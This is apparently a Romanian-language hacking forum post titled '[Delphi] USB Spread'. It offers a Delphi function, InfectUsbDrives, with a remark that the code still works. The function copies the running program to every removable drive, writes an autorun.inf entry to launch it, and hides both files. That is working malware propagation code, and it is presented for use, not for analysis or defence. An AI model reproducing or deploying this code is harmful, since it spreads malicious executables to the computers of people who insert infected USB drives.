Jump to content
Gonzalez

[Delphi] USB Spread

Recommended Posts

Posted

Inca mai functioneaza, desi e vechi.

function InfectUsbDrives(Exe******string):integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
end;
except
end;
end;
end;
end;

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...